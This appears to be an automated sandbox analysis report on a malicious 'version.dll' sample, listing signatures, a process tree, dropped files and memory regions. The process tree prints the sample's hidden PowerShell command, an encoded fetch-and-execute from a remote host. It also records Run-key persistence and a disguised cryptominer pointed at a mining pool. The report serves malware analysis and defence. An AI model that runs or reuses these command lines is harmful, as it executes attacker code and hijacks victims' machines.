Analysis

  • user interaction
    yes
  • max time kernel
    900s
  • max time network
    489s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260911-en
  • resource tags

    arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    07/11/2026, 22:22

General

  • Target
    version.dll
  • Size 124KB
  • Sample261107-2aa1csfy2z
  • SHA256 00f6b47ed70472f6b7cf95b8cdeb33d254906d780148df205320a0f7d25298e4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\version.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3636
    • C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe
      "C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe"
      2⤵
        PID:5104
      • C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m
        "C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m"
        2⤵
        • Checks BIOS information in registry
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
          3⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2584
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\dtr10nr0.tq5.ps1"
            4⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3876
            • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
              "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://pool.xmrig.de:3333 --user x.xmrrig
              5⤵
                PID:4980
        • C:\Users\Admin\AppData\Local\Temp\rename.exe
          "C:\Users\Admin\AppData\Local\Temp\rename.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4092
          • C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe
            "C:\Users\Admin\AppData\Local\Temp\3139209839\zmstage.exe"
            3⤵
              PID:2996
            • C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m
              "C:\Users\Admin\AppData\Local\Temp\auth\lFK4eRRGv35m"
              3⤵
              • Checks BIOS information in registry
              • Suspicious use of WriteProcessMemory
              PID:3972
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
                4⤵
                • Badlisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3008
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\elshdg3y.a4u.ps1"
                  5⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2904
            • C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp
              "C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp"
              3⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:3592
          • C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp
            "C:\Users\Admin\AppData\Local\Temp\wct84E0.tmp"
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3336

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              57C8EDB95DF3F0AD4EE2DC2B8CFD4157

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
              • Size 5KB
              • SHA256 1f2719b100fcc59601f0dbb286aea5034e05bae881425792a115106e244a0ed0
              • MD5 SHA1 SHA512 SSDEEP TLSH

              B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF
              • Size 2KB
              • SHA256 da9308519d833732d30ae83719d05608f693ba9e2f6eca12a67f2c94d9b9b88a
              • MD5 SHA1 SHA512 TLSH

              E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
              • Size 471B
              • SHA256 8841d047adc37191233a101a57da099b4af420f8eb9449f7141eca24913ccacf
              • MD5 SHA1 SHA512 TLSH

              57C8EDB95DF3F0AD4EE2DC2B8CFD4157

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
              • Size 342B
              • SHA256 bc80ebd8be8ffca06c47a2a307e8511da31125ac2cea3dd435c7345d88112067
              • MD5 SHA1 SHA512 TLSH

              B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_30070D1E013A39CA7A94F919F7922FDF
              • Size 426B
              • SHA256 c3e9e9f056cb5e8338b9e44d7dc75d2c382c6b24e8a34251b8cc587b5a1b1e8e
              • MD5 SHA1 SHA512 TLSH

              E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F

              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F
              • Size 412B
              • SHA256 30d61072a8d326e8e50a9d63f9e26c5d913fd7fb82efceb2bb3f0164b09ed965
              • MD5 SHA1 SHA512 TLSH

              powershell.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              • Size 3KB
              • SHA256 0bc3ccb0052d8d4261b1df749a485e25f54259958fc0997fee3417569b76a778
              • MD5 SHA1 SHA512 TLSH

              DeviceHealthSummaryConfiguration.ini

              • Path C:\Users\Admin\AppData\Local\Microsoft\OneDrive\setup\logs\DeviceHealthSummaryConfiguration.ini
              • Size 77B
              • SHA256 9cf0c726ff920cd7d71dace1fb8726fad9201fd079ef992d0ff8d74be3531a68
              • MD5 SHA1 SHA512 TLSH

              Install-2026-11-07.2224.3592.1.aodl

              • Path C:\Users\Admin\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2026-11-07.2224.3592.1.aodl
              • Size 5KB
              • SHA256 1e858817adafd2e3aec49123c6ce5aec86886bcbef9cc9c0d60acd54bd00cb5e
              • MD5 SHA1 SHA512 SSDEEP TLSH

              21.220.1024[2].json

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\V8657FUD\21.220.1024[2].json
              • Size 5KB
              • SHA256 cbc470935502459464e8a011231f686dc4cf0ed56a3788412738a35d53a0a2c4
              • MD5 SHA1 SHA512 SSDEEP TLSH

              ModuleAnalysisCache

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 61KB
              • SHA256 eac79146599354ee6c44e0af03ab76f049305db0c500b3e143b8d220b4efecf3
              • MD5 SHA1 SHA512 SSDEEP TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 2KB
              • SHA256 b911d72c3de2fe8a395a9d2ab5a72996f19ec499ffdececd86c4d973910d311b
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 cb0c13474c55c559c7803f5611baebce3c45f098f7c8d005dc68e3dd64e3d589
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 0a0cd1fb99292a75026384e87a31f133594f0d1139800b3c488474f117b60a21
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_u40qsdci.mnf.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u40qsdci.mnf.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              dtr10nr0.tq5.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\dtr10nr0.tq5.ps1
              • Size 98B
              • SHA256 cf70f689a8b3698f14cb3d4b773fe975fe3ea701317445adb4ee1ba1c56da72a
              • MD5 SHA1 SHA512 TLSH

              memory/2584-1-0x0000018304260000-0x0000018304270000-memory.dmp

              memory/2584-0-0x0000018304260000-0x0000018304270000-memory.dmp

              memory/2584-8-0x0000018304260000-0x0000018304270000-memory.dmp

              memory/2584-9-0x000001831F690000-0x000001831F6B2000-memory.dmp

              memory/2584-20-0x000001831FD30000-0x000001831FEF2000-memory.dmp

              memory/3876-49-0x0000027971EE0000-0x0000027971EEA000-memory.dmp

              memory/3876-55-0x0000027971F20000-0x0000027971F34000-memory.dmp

              memory/3876-54-0x0000027971ED0000-0x0000027971EF7000-memory.dmp

              memory/3876-52-0x0000027971F20000-0x0000027971F44000-memory.dmp

              memory/3876-51-0x0000027971F20000-0x0000027971F4A000-memory.dmp

              memory/3876-47-0x0000027971EC0000-0x0000027971EDC000-memory.dmp

              memory/3876-48-0x00000279721D0000-0x0000027972283000-memory.dmp